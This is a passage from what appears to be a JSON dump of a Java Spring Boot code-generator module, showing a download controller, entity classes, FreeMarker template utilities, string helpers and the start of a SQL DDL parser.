tableName = MapUtil.getStr(body, \"tableName\");\n            String templateGroup = MapUtil.getStr(body, \"templateGroup\", \"DB_RECORD\");\n            String pkgName = MapUtil.getStr(body, \"packageName\");\n            String author = MapUtil.getStr(body, \"authorName\");\n            String datasource = MapUtil.getStr(body, \"datasource\", \"main\");\n\n            if (StrUtil.isBlank(tableName)) {\n                response.setStatus(400);\n                response.getWriter().write(\"{\\\"status\\\":500,\\\"msg\\\":\\\"tableName is required\\\"}\");\n                return;\n            }\n\n            if (StrUtil.isNotBlank(pkgName)) {\n                CodeUtil.customeConfig.put(CodeUtil.packageName, pkgName);\n            }\n            if (StrUtil.isNotBlank(author)) {\n                CodeUtil.customeConfig.put(CodeUtil.authorName, author);\n            }\n\n            DataSource ds = getDataSource(datasource);\n            List<String> templates = getTemplatesByGroup(templateGroup);\n            Map<String, String> codeMap = CodeUtil.genCodeReturnMap(ds, tableName, templates);\n\n            // Write code to temp directory\n            File tempDir = FileUtil.createTempFile(\"codegen_\", \"\", null, true);\n            FileUtil.del(tempDir);\n            FileUtil.mkdir(tempDir);\n            for (Map.Entry<String, String> entry : codeMap.entrySet()) {\n                String fileName = entry.getKey().replace(\"/\", \"_\").replace(\"${classInfo.className}\", tableName);\n                if (fileName.endsWith(\".ftl\")) {\n                    fileName = fileName.substring(0, fileName.length() - 4);\n                }\n                File codeFile = new File(tempDir, fileName);\n                FileUtil.writeString(entry.getValue(), codeFile, StandardCharsets.UTF_8);\n            }\n\n            // Zip and download\n            File zipFile = ZipUtil.zip(tempDir);\n            response.setContentType(\"application/octet-stream\");\n            response.setHeader(\"Content-Disposition\", \"attachment; filename=\\\"\" + tableName + \"_code.zip\\\"\");\n            try (InputStream is = new FileInputStream(zipFile);\n                 OutputStream os = response.getOutputStream()) {\n                byte[] buffer = new byte[4096];\n                int len;\n                while ((len = is.read(buffer)) != -1) {\n                    os.write(buffer, 0, len);\n                }\n                os.flush();\n            }\n\n            // Cleanup temp files\n            FileUtil.del(tempDir);\n            FileUtil.del(zipFile);\n        } catch (Exception e) {\n            log.error(\"代码下载失败\", e);\n            try {\n                response.setStatus(500);\n                response.setContentType(\"application/json\");\n                response.getWriter().write(\"{\\\"status\\\":500,\\\"msg\\\":\\\"\" + e.getMessage() + \"\\\"}\");\n            } catch (IOException ignored) {\n            }\n        }\n    }\n\n    /**\n     * 获取可用的模板组列表\n     * GET /generator/templateGroups\n     */\n    @GetMapping(path = \"/templateGroups\", produces = \"application/json\")\n    public Result templateGroups() {\n        List<String> groups = Arrays.asList(\n                \"DB_RECORD\", \"MYBATIS_PLUS\", \"MYBATIS\", \"JPA\",\n                \"BEETLSQL\", \"JDBCTEMPLATE\", \"UI\", \"UTIL\",\n                \"MYBATIS_PLUS_NO1\"\n        );\n        return Result.success(groups);\n    }\n\n    private DataSource getDataSource(String datasource) {\n        if (\"main\".equals(datasource) || StrUtil.isBlank(datasource)) {\n            return SpringUtil.getBean(DataSource.class);\n        }\n        try {\n            return io.github.wujun728.sql.DataSourcePool.get(datasource);\n        } catch (Exception e) {\n            return SpringUtil.getBean(DataSource.class);\n        }\n    }\n\n    private List<String> getTemplatesByGroup(String group) {\n        if (group == null) {\n            return CodeUtil.GROUP_DB_RECORD;\n        }\n        switch (group.toUpperCase()) {\n            case \"DB_RECORD\":\n                return CodeUtil.GROUP_DB_RECORD;\n            case \"MYBATIS_PLUS\":\n                return CodeUtil.GROUP_MYBATISPLUS;\n            case \"MYBATIS\":\n                return CodeUtil.GROUP_MYBATIS;\n            case \"JPA\":\n                return CodeUtil.GROUP_JPA;\n            case \"BEETLSQL\":\n                return CodeUtil.GROUP_BEETLSQL;\n            case \"JDBCTEMPLATE\":\n                return CodeUtil.GROUP_JDBCTEMPLATE;\n            case \"UI\":\n                return CodeUtil.GROUP_UI;\n            case \"UTIL\":\n                return CodeUtil.GROUP_UTIL;\n            case \"MYBATIS_PLUS_NO1\":\n                return CodeUtil.GROUP_MYBATIS_PLUG_NO1;\n            default:\n                return CodeUtil.GROUP_DB_RECORD;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/entity/ClassInfo.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * class info\n */\n@Data\npublic class ClassInfo {\n\tprivate Long id;\n    private String tableName;\n    private String originTableName;\n    private String className;\n\tprivate String classComment;\n\tprivate int pkSize;\n\tprivate List<FieldInfo> fieldList;\n\tprivate List<FieldInfo> pkfieldList;\n\n\t/**\n\t * 作者姓名\n\t */\n\tprivate String authorName;\n\n\t/**\n\t * 类名\n\t */\n//\tprivate String className;\n\n\t/**\n\t * 功能名\n\t */\n\tprivate String functionName;\n\n\t/**\n\t * 是否移除表前缀\n\t */\n\tprivate String tablePrefix;\n\n\t/**\n\t * 生成方式\n\t */\n\tprivate String generateType;\n\n\t/**\n\t * 数据库表名\n\t */\n//\tprivate String tableName;\n\n\t/**\n\t * 数据库表名（经过组装的）\n\t */\n\tprivate String tableNameAss;\n\n\t/**\n\t * 代码包名\n\t */\n\tprivate String packageName;\n\n\t/**\n\t * 生成时间（String类型的）\n\t */\n\tprivate String createTimeString;\n\n\t/**\n\t * 数据库表中字段集合\n\t */\n//\tprivate List<SysCodeGenerateConfig> configList;\n\n\t/**\n\t * 模块名\n\t */\n\tprivate String modularNane = \"modular\";\n\n\t/**\n\t * 业务名\n\t */\n\tprivate String busName;\n\n\t/**\n\t * 所属应用\n\t */\n\tprivate String appCode;\n\n\t/**\n\t * 菜单上级\n\t */\n\tprivate String menuPid;\n\n\t/**\n\t * 菜单上级父ids\n\t */\n\tprivate String menuPids = \"\";\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/entity/FieldInfo.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.Data;\n\n/**\n * field info\n */\n@Data\npublic class FieldInfo {\n    private String columnName;\n    private String columnType;\n    private String fieldName;\n    private String fieldClass;\n    private String fieldType;\n    private String fieldComment;\n    private Boolean isPrimaryKey;\n    private Boolean isAutoIncrement;\n    private long columnSize;\n    private Boolean nullable;\n    private Boolean comment;\n    private String defaultValue;\n    private String swaggerClass;\n\n\n\n    /**\n     * 主键\n     */\n    private Long id;\n\n    /**\n     * 代码生成主表ID\n     */\n    private Long codeGenId;\n\n    /**\n     * 数据库字段名\n     */\n//    private String columnName;\n\n    /**\n     * java类字段名\n     */\n    private String javaName;\n\n    /**\n     * 字段描述\n     */\n    private String columnComment;\n\n    /**\n     * java类型\n     */\n    private String javaType;\n\n    /**\n     * 作用类型（字典）\n     */\n    private String effectType;\n\n    /**\n     * 字典code\n     */\n    private String dictTypeCode;\n\n    /**\n     * 列表是否缩进（字典）\n     */\n    private String whetherRetract;\n\n    /**\n     * 是否必填（字典）\n     */\n    private String whetherRequired;\n\n    /**\n     * 是否是查询条件\n     */\n    private String queryWhether;\n\n    /**\n     * 查询方式\n     */\n    private String queryType;\n\n    /**\n     * 列表显示\n     */\n    private String whetherTable;\n\n    /**\n     * 增改\n     */\n    private String whetherAddUpdate;\n\n    /**\n     * 主外键\n     */\n    public String columnKey;\n\n    /**\n     * 首字母大写名称（用于代码生成get set方法）\n     */\n    public String columnKeyName;\n\n    /**\n     * 数据库中类型（物理类型）\n     */\n    public String dataType;\n\n    /**\n     * 是否是通用字段\n     */\n    public String whetherCommon;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/entity/NonCaseString.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.AllArgsConstructor;\n\n/**\n * String 包装类\n * <p>\n * 忽略大小写\n **考虑增加这个类是, 如果在 StringUtils 中加工具方法, 使用起来代码非常冗长且不方便\n * @see String\n */\n@AllArgsConstructor\npublic class NonCaseString implements CharSequence {\n    private String value;\n\n    public static NonCaseString of(String str) {\n        assert str != null;\n        return new NonCaseString(str);\n    }\n\n\n    /**\n     * {@link String#indexOf(String)} 增强, 忽略大小写\n     */\n    public int indexOf(String m) {\n        String text = this.value;\n        if (text == null || m == null || text.length() < m.length()) {\n            return -1;\n        }\n        return text.toLowerCase().indexOf(m.toLowerCase());\n    }\n\n    /**\n     * {@link String#lastIndexOf(String)} 增强, 忽略大小写\n     */\n    public int lastIndexOf(String m) {\n        String text = this.value;\n        if (text == null || m == null || text.length() < m.length()) {\n            return -1;\n        }\n        return text.toLowerCase().lastIndexOf(m.toLowerCase());\n    }\n\n    /**\n     * 是否包含, 大小写不敏感\n     * <pre\n     * \"abcxyz\" 包含 \"abc\" => true\n     * \"abcxyz\" 包含 \"ABC\" => true\n     * \"abcxyz\" 包含 \"aBC\" => true\n     * </pre>\n     *\n     * @param m 被包含字符串\n     */\n    public boolean contains(String m) {\n        String text = this.value;\n        if (text.length() < m.length()) {\n            return false;\n        }\n        return text.toLowerCase().contains(m.toLowerCase());\n    }\n\n    /**\n     * 任意一个包含返回true\n     * <pre>\n     * containsAny(\"abcdef\", \"a\", \"b)\n     * 等价\n     * \"abcdef\".contains(\"a\") || \"abcdef\".contains(\"b\")\n     * </pre>\n     *\n     * @param matchers 多个要判断的被包含项\n     */\n    public boolean containsAny(String... matchers) {\n        for (String matcher : matchers) {\n            if (contains(matcher)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 所有都包含才返回true\n     *\n     * @param matchers 多个要判断的被包含项\n     */\n    public boolean containsAllIgnoreCase(String... matchers) {\n        for (String matcher : matchers) {\n            if (contains(matcher) == false) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    public NonCaseString trim() {\n        return NonCaseString.of(this.value.trim());\n    }\n\n    public NonCaseString replace(char oldChar, char newChar) {\n        return NonCaseString.of(this.value.replace(oldChar, newChar));\n    }\n\n    public NonCaseString replaceAll(String regex, String replacement) {\n        return NonCaseString.of(this.value.replaceAll(regex, replacement));\n    }\n\n    public NonCaseString substring(int beginIndex) {\n        return NonCaseString.of(this.value.substring(beginIndex));\n    }\n\n    public NonCaseString substring(int beginIndex, int endIndex) {\n        return NonCaseString.of(this.value.substring(beginIndex, endIndex));\n    }\n\n    public boolean isNotEmpty() {\n        return !this.value.isEmpty();\n    }\n\n    @Override\n    public int length() {\n        return this.value.length();\n    }\n\n    @Override\n    public char charAt(int index) {\n        return this.value.charAt(index);\n    }\n\n\n    @Override\n    public CharSequence subSequence(int start, int end) {\n        return this.value.subSequence(start, end);\n    }\n\n    public String[] split(String regex) {\n        return this.value.split(regex);\n    }\n\n\n    /**\n     * @return 原始字符串\n     */\n    public String get() {\n        return this.value;\n    }\n\n    @Override\n    public String toString() {\n        return this.value;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/entity/ParamInfo.java",
    "content": "package io.github.wujun728.generator.entity;\n\nimport lombok.Data;\n\nimport java.util.Map;\n\n/**\n * Post data - ParamInfo\n */\n@Data\npublic class ParamInfo {\n\n    private String tableSql;\n    private Map<String,Object> options;\n\n    @Data\n    public static class NAME_CASE_TYPE {\n        public static String CAMEL_CASE = \"CamelCase\";\n        public static String UNDER_SCORE_CASE = \"UnderScoreCase\";\n        public static String UPPER_UNDER_SCORE_CASE = \"UpperUnderScoreCase\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/service/GeneratorService.java",
    "content": "package io.github.wujun728.generator.service;\n\nimport freemarker.template.TemplateException;\nimport org.springframework.stereotype.Service;\n\nimport java.io.IOException;\nimport java.util.Map;\n\n/**\n * GeneratorService\n */\npublic interface GeneratorService {\n\n    String getTemplateConfig() throws IOException;\n\n    public Map<String, String> getResultByParams(Map<String, Object> params) throws IOException, TemplateException;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/service/GeneratorServiceImpl.java",
    "content": "package io.github.wujun728.generator.service;\n\nimport com.alibaba.fastjson2.JSONArray;\nimport com.alibaba.fastjson2.JSONObject;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.generator.util.MapUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Service;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * GeneratorService\n */\n@Slf4j\n@Service\npublic class GeneratorServiceImpl implements GeneratorService {\n\n    String templateCpnfig = null;\n\n    /**\n     * 从项目中的JSON文件读取String\n     *\n     * @author zhengkai.blog.csdn.net\n     */\n    @Override\n    public String getTemplateConfig() throws IOException {\n        templateCpnfig = null;\n        if (templateCpnfig != null) {\n        } else {\n            InputStream inputStream = this.getClass().getClassLoader().getResourceAsStream(\"template.json\");\n            templateCpnfig = new BufferedReader(new InputStreamReader(inputStream))\n                    .lines().collect(Collectors.joining(System.lineSeparator()));\n            inputStream.close();\n        }\n        //log.info(JSON.toJSONString(templateCpnfig));\n        return templateCpnfig;\n    }\n\n    /**\n     * 根据配置的Template模板进行遍历解析，得到生成好的String\n     *\n     * @author zhengkai.blog.csdn.net\n     */\n    @Override\n    public Map<String, String> getResultByParams(Map<String, Object> params) throws IOException, TemplateException {\n        Map<String, String> result = new HashMap<>(32);\n        result.put(\"tableName\", MapUtil.getString(params,\"tableName\"));\n        JSONArray parentTemplates = JSONArray.parseArray(getTemplateConfig());\n        for (int i = 0; i <parentTemplates.size() ; i++) {\n            JSONObject parentTemplateObj = parentTemplates.getJSONObject(i);\n            for (int x = 0; x <parentTemplateObj.getJSONArray(\"templates\").size() ; x++) {\n                JSONObject childTemplate = parentTemplateObj.getJSONArray(\"templates\").getJSONObject(x);\n                result.put(childTemplate.getString(\"name\"), FreemarkerUtil.processString(parentTemplateObj.getString(\"group\") + \"/\" +childTemplate.getString(\"name\")+ \".ftl\", params));\n            }\n        }\n        return result;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/util/CodeGenerateException.java",
    "content": "package io.github.wujun728.generator.util;\n\n/**\n * @author xuxueli 2018-05-02 21:10:28\n */\npublic class CodeGenerateException extends RuntimeException {\n\n    private static final long serialVersionUID = 42L;\n\n    public CodeGenerateException() {\n        super();\n    }\n\n    public CodeGenerateException(String msg) {\n        super(msg);\n    }\n\n    public CodeGenerateException(String msg, Throwable cause) {\n        super(msg, cause);\n    }\n\n    public CodeGenerateException(Throwable cause) {\n        super(cause);\n    }\n\n    public CodeGenerateException(String message, Throwable cause,\n                                 boolean enableSuppression,\n                                 boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/util/FreemarkerUtil.java",
    "content": "package io.github.wujun728.generator.util;\n\nimport freemarker.cache.StringTemplateLoader;\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\nimport freemarker.template.TemplateExceptionHandler;\nimport lombok.extern.slf4j.Slf4j;\n\n\nimport java.io.*;\nimport java.util.HashMap;\nimport java.util.Locale;\nimport java.util.Map;\n\n/**\n * freemarker tool\n *\n */\n@Slf4j\npublic class FreemarkerUtil {\n\n    /**\n     * freemarker config\n     */\n    private static Configuration freemarkerConfig = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n\n    static{\n        String templatePath = Thread.currentThread().getContextClassLoader().getResource(\"\").getPath();\n        int wei = templatePath.lastIndexOf(\"WEB-INF/classes/\");\n        if (wei > -1) {\n            templatePath = templatePath.substring(0, wei);\n        }\n        init2DirectoryForTemplateLoading(templatePath+ \"templates\");\n    }\n\n    public static void init2ClassForTemplateLoading(String templatePath){\n        freemarkerConfig.setClassForTemplateLoading(FreemarkerUtil.class,templatePath);\n        freemarkerConfig.setNumberFormat(\"#\");\n        freemarkerConfig.setClassicCompatible(true);\n        freemarkerConfig.setDefaultEncoding(\"UTF-8\");\n        freemarkerConfig.setLocale(Locale.CHINA);\n        freemarkerConfig.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);\n    }\n    public static void init2DirectoryForTemplateLoading(String templateDirectoryPath){\n        try {\n            freemarkerConfig.setDirectoryForTemplateLoading(new File(templateDirectoryPath));\n            freemarkerConfig.setNumberFormat(\"#\");\n            freemarkerConfig.setClassicCompatible(true);\n            freemarkerConfig.setDefaultEncoding(\"UTF-8\");\n            freemarkerConfig.setLocale(Locale.CHINA);\n            freemarkerConfig.setTemplateExceptionHandler(TemplateExceptionHandler.RETHROW_HANDLER);\n        } catch (FileNotFoundException e) {\n            log.info(\"默认加载[\\\\templates]目录下模板失败，目录不存在。\");\n        } catch (IOException e) {\n            log.error(e.getMessage(), e);\n        }\n    }\n\n\n    /**\n     * process String\n     *\n     * @param templateName\n     * @param params\n     * @return\n     * @throws IOException\n     * @throws TemplateException\n     */\n    public static String processString(String templateName, Map<String, Object> params)\n            throws IOException, TemplateException {\n        Template template = freemarkerConfig.getTemplate(templateName);\n        String htmlText = processTemplateIntoString(template, params);\n        return htmlText;\n    }\n\n    /**\n     * process Template Into String\n     * @param template\n     * @param model\n     * @return\n     * @throws IOException\n     * @throws TemplateException\n     */\n    public static String processTemplateIntoString(Template template, Object model)\n            throws IOException, TemplateException {\n        StringWriter result = new StringWriter();\n        template.process(model, result);\n        return result.toString();\n    }\n\n\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n    //*****************************************************************************************************************************************\n\n    public static void main(String[] args) throws Exception {\n        genStringTemplate();\n    }\n\n    public static void genStringTemplate() throws Exception {\n        String templateName = \"hello-template\";\n        String templateValue = \"hello,${name}\";\n\n        Map<String, Object> root = new HashMap<>(4);\n        root.put(\"name\", \"你好\");\n        root.put(\"age\", 25);\n        System.out.println(processStringTemplate( templateName, templateValue,root));\n        // -------------------- 进行模板的修改 ------------------------\n        templateValue = \"hello,${name},我今年,${age}岁.\";\n        System.out.println(processStringTemplate(  templateValue,root));\n\n    }\n\n\n    @Deprecated\n    public static String genTemplateStr(Map<String, Object> params,String templateContent)\n            throws IOException, TemplateException {\n        return genTemplateStr(params,\"temp\",templateContent);\n    }\n    /**\n     *  解析模板\n     * @param params 内容\n     * @param templateName 参数\n     * @param templateContent 参数\n     * @return\n     */\n    public static String genTemplateStr(Map<String, Object> params,String templateName,String templateContent)\n            throws IOException, TemplateException {\n        StringTemplateLoader stringLoader = new StringTemplateLoader();\n        Template template = new Template(templateName, new StringReader(templateContent));\n        StringWriter result = new StringWriter();\n        template.process(params, result);\n        String htmlText = result.toString();\n        return htmlText;\n    }\n\n    public static String processStringTemplate(String templateStr, Map<String, Object> root) throws IOException, TemplateException {\n        return processStringTemplate(\"temp\",templateStr,root);\n    }\n    /**\n     * 解析模板\n     * @param templateName\n     * @throws IOException\n     * @throws TemplateException\n     */\n    public static String processStringTemplate(String templateName, String templateStr, Map<String, Object> root) throws IOException, TemplateException {\n        Configuration configuration = configuration();\n        StringWriter stringWriter = new StringWriter();\n        Template template = new Template(templateName, templateStr, configuration);\n        template.process(root, stringWriter);\n        //System.out.println(stringWriter.toString());\n        return stringWriter.toString();\n    }\n\n    /**\n     * 配置 freemarker configuration\n     * @return\n     */\n    private static Configuration configuration() {\n        Configuration configuration = new Configuration(Configuration.VERSION_2_3_27);\n        StringTemplateLoader templateLoader = new StringTemplateLoader();\n        configuration.setTemplateLoader(templateLoader);\n        configuration.setDefaultEncoding(\"UTF-8\");\n        return configuration;\n    }\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/util/MapUtil.java",
    "content": "\npackage io.github.wujun728.generator.util;\n\nimport java.util.Map;\n\npublic class MapUtil {\n    public static String getString(Map map,String key){\n            if(map!=null && map.containsKey(key)){\n                try{\n                    return map.get(key).toString();\n                }catch (Exception e){\n                    e.printStackTrace();\n                    return \"\";\n                }\n            }else{\n                return \"\";\n            }\n    }\n    public static Integer getInteger(Map map,String key){\n        if(map!=null && map.containsKey(key)){\n            try{\n                return (Integer) map.get(key);\n            }catch (Exception e){\n                e.printStackTrace();\n                return 0;\n            }\n        }else{\n            return 0;\n        }\n    }\n    public static Boolean getBoolean(Map map,String key){\n        if(map!=null && map.containsKey(key)){\n            try{\n                return (Boolean) map.get(key);\n            }catch (Exception e){\n                e.printStackTrace();\n                return false;\n            }\n        }else{\n            return false;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/util/StringUtils.java",
    "content": "package io.github.wujun728.generator.util;\n\n/**\n * string tool\n *\n */\npublic class StringUtils {\n\n    /**\n     * 首字母大写\n     *\n     * @param str\n     * @return\n     */\n    public static String upperCaseFirst(String str) {\n        if (str == null || str.trim().isEmpty()) {\n            return str;\n        }\n        return str.substring(0, 1).toUpperCase() + str.substring(1);\n    }\n\n    /**\n     * 首字母小写\n     *\n     * @param str\n     * @return\n     */\n    public static String lowerCaseFirst(String str) {\n        //2019-2-10 解决StringUtils.lowerCaseFirst潜在的NPE异常@liutf\n        return (str != null && str.length() > 1) ? str.substring(0, 1).toLowerCase() + str.substring(1) : \"\";\n    }\n\n    /**\n     * 下划线，转换为驼峰式\n     *\n     * @param underscoreName\n     * @return\n     */\n    public static String underlineToCamelCase(String underscoreName) {\n        StringBuilder result = new StringBuilder();\n        if (underscoreName != null && underscoreName.trim().length() > 0) {\n            boolean flag = false;\n            for (int i = 0; i < underscoreName.length(); i++) {\n                char ch = underscoreName.charAt(i);\n                if ('_' == ch) {\n                    flag = true;\n                } else {\n                    if (flag) {\n                        result.append(Character.toUpperCase(ch));\n                        flag = false;\n                    } else {\n                        result.append(ch);\n                    }\n                }\n            }\n        }\n        return result.toString();\n    }\n\n    /**\n     * 转 user_name 风格\n     *\n     * 不管原始是什么风格\n     */\n    public static String toUnderline(String str, boolean upperCase) {\n        if (str == null || str.trim().isEmpty()) {\n            return str;\n        }\n\n        StringBuilder result = new StringBuilder();\n        boolean preIsUnderscore = false;\n        for (int i = 0; i < str.length(); i++) {\n            char ch = str.charAt(i);\n            if (ch == '_') {\n                preIsUnderscore = true;\n            } else if (ch == '-') {\n                ch = '_';\n                preIsUnderscore = true; // -A -> _a\n            } else if (ch >= 'A' && ch <= 'Z') {\n                // A -> _a\n                if (!preIsUnderscore && i > 0) { // _A -> _a\n                    result.append(\"_\");\n                }\n                preIsUnderscore = false;\n            } else {\n                preIsUnderscore = false;\n            }\n            result.append(upperCase ? Character.toUpperCase(ch) : Character.toLowerCase(ch));\n        }\n\n        return result.toString();\n    }\n\n    /**\n     * any str ==> lowerCamel\n     */\n    public static String toLowerCamel(String str) {\n        if (str == null || str.trim().isEmpty()) {\n            return str;\n        }\n\n        StringBuilder result = new StringBuilder();\n        char pre = '\\0';\n        for (int i = 0; i < str.length(); i++) {\n            char ch = str.charAt(i);\n            if (ch == '-' || ch == '—' || ch == '_') {\n                ch = '_';\n                pre = ch;\n                continue;\n            }\n            char ch2 = ch;\n            if (pre == '_') {\n                ch2 = Character.toUpperCase(ch);\n                pre = ch2;\n            } else if (pre >= 'A' && pre <= 'Z') {\n                pre = ch;\n                ch2 = Character.toLowerCase(ch);\n            } else {\n                pre = ch;\n            }\n            result.append(ch2);\n        }\n\n        return lowerCaseFirst(result.toString());\n    }\n\n    public static boolean isNotNull(String str) {\n        return org.apache.commons.lang3.StringUtils.isNotEmpty(str);\n    }\n\t\n\n\n    /**\n     * Represents a failed index search.\n     * @since 2.1\n     */\n    public static final int INDEX_NOT_FOUND = -1;\n\n    /**\n     * <p>Counts how many times the substring appears in the larger String.</p>\n     *\n     * <p>A <code>null</code> or empty (\"\") String input returns <code>0</code>.</p>\n     *\n     * <pre>\n     * StringUtils.countMatches(null, *)       = 0\n     * StringUtils.countMatches(\"\", *)         = 0\n     * StringUtils.countMatches(\"abba\", null)  = 0\n     * StringUtils.countMatches(\"abba\", \"\")    = 0\n     * StringUtils.countMatches(\"abba\", \"a\")   = 2\n     * StringUtils.countMatches(\"abba\", \"ab\")  = 1\n     * StringUtils.countMatches(\"abba\", \"xxx\") = 0\n     * </pre>\n     *\n     * @param str  the String to check, may be null\n     * @param sub  the substring to count, may be null\n     * @return the number of occurrences, 0 if either String is <code>null</code>\n     */\n    public static int countMatches(String str, String sub) {\n        if (isEmpty(str) || isEmpty(sub)) {\n            return 0;\n        }\n        int count = 0;\n        int idx = 0;\n        while ((idx = str.indexOf(sub, idx)) != INDEX_NOT_FOUND) {\n            count++;\n            idx += sub.length();\n        }\n        return count;\n    }\n\n    /**\n     * <p>Checks if a String is empty (\"\") or null.</p>\n     *\n     * <pre>\n     * StringUtils.isEmpty(null)      = true\n     * StringUtils.isEmpty(\"\")        = true\n     * StringUtils.isEmpty(\" \")       = false\n     * StringUtils.isEmpty(\"bob\")     = false\n     * StringUtils.isEmpty(\"  bob  \") = false\n     * </pre>\n     *\n     * <p>NOTE: This method changed in Lang version 2.0.\n     * It no longer trims the String.\n     * That functionality is available in isBlank().</p>\n     *\n     * @param str  the String to check, may be null\n     * @return <code>true</code> if the String is empty or null\n     */\n    public static boolean isEmpty(String str) {\n        return str == null || str.length() == 0;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/util/TableParseUtil.java",
    "content": "package io.github.wujun728.generator.util;\n\nimport com.alibaba.fastjson2.JSON;\nimport com.alibaba.fastjson2.JSONArray;\nimport com.alibaba.fastjson2.JSONObject;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.generator.entity.FieldInfo;\nimport io.github.wujun728.generator.entity.NonCaseString;\nimport io.github.wujun728.generator.entity.ParamInfo;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.concurrent.atomic.AtomicInteger;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n/**\n * 表格解析Util\n */\npublic class TableParseUtil {\n\n    /**\n     * 解析DDL SQL生成类信息\n     *\n     * @param paramInfo\n     * @return\n     */\n    public static ClassInfo processTableIntoClassInfo(ParamInfo paramInfo)\n            throws IOException {\n        //process the param\n        NonCaseString tableSql = NonCaseString.of(paramInfo.getTableSql());\n        String nameCaseType = MapUtil.getString(paramInfo.getOptions(),\"nameCaseType\");\n        Boolean isPackageType = MapUtil.getBoolean(paramInfo.getOptions(),\"isPackageType\");\n\n        if (tableSql == null || tableSql.trim().length() == 0) {\n            throw new CodeGenerateException(\"Table structure can not be empty. 表结构不能为空。\");\n        }\n        //deal with special character\n        tableSql = tableSql.trim()\n                .replaceAll(\"'\", \"`\")\n                .replaceAll(\"\\\"\", \"`\")\n                .replaceAll(\"，\", \",\")\n                // 这里全部转小写, 会让驼峰风格的字段名丢失驼峰信息(真有驼峰sql字段名的呢(*￣︶￣)); 下文使用工具方法处理包含等\n                // .toLowerCase()\n        ;\n        //deal with java string copy \\n\"\n        tableSql = tableSql.trim().replaceAll(\"\\\\\\\\n`\", \"\").replaceAll(\"\\\\+\", \"\").replaceAll(\"``\", \"`\").replaceAll(\"\\\\\\\\\", \"\");\n        // table Name\n        String tableName = null;\n        int tableKwIx = tableSql.indexOf(\"TABLE\"); // 包含判断和位置一次搞定\n        if (tableKwIx > -1 && tableSql.contains(\"(\")) {\n            tableName = tableSql.substring(tableKwIx + 5, tableSql.indexOf(\"(\")).get();\n        } else {\n            throw new CodeGenerateException(\"Table structure incorrect.表结构不正确。\");\n        }\n\n        //新增处理create table if not exists members情况\n        if (tableName.contains(\"if not exists\")) {\n            tableName = tableName.replaceAll(\"if not exists\", \"\");\n        }\n\n        if (tableName.contains(\"`\")) {\n            tableName = tableName.substring(tableName.indexOf(\"`\") + 1, tableName.lastIndexOf(\"`\"));\n        } else {\n            //空格开头的，需要替换掉\\n\\t空格\n            tableName = tableName.replaceAll(\" \", \"\").replaceAll(\"\\n\", \"\").replaceAll(\"\\t\", \"\");\n        }\n        //优化对byeas`.`ct_bd_customerdiscount这种命名的支持\n        if (tableName.contains(\"`.`\")) {\n            tableName = tableName.substring(tableName.indexOf(\"`.`\") + 3);\n        } else if (tableName.contains(\".\")) {\n            //优化对likeu.members这种命名的支持\n            tableName = tableName.substring(tableName.indexOf(\".\") + 1);\n        }\n        String originTableName = tableName;\n        //ignore prefix\n        if(tableName!=null && StringUtils.isNotNull(MapUtil.getString(paramInfo.getOptions(),\"ignorePrefix\"))){\n            tableName = tableName.replaceAll(MapUtil.getString(paramInfo.getOptions(),\"ignorePrefix\"),\"\");\n        }\n        // class Name\n        String className = StringUtils.upperCaseFirst(StringUtils.underlineToCamelCase(tableName));\n        if (className.contains(\"_\")) {\n            className = className.replaceAll(\"_\", \"\");\n        }\n\n        // class Comment\n        String classComment = null;\n        //mysql是comment=,pgsql/oracle是comment on table,\n        //2020-05-25 优化表备注的获取逻辑\n        if (tableSql.containsAny(\"comment=\", \"comment on table\")) {\n            int ix = tableSql.lastIndexOf(\"comment=\");\n            String classCommentTmp = (ix > -1) ?\n                    tableSql.substring(ix + 8).trim().get() :\n                    tableSql.substring(tableSql.lastIndexOf(\"comment on table\") + 17).trim().get();\n            if 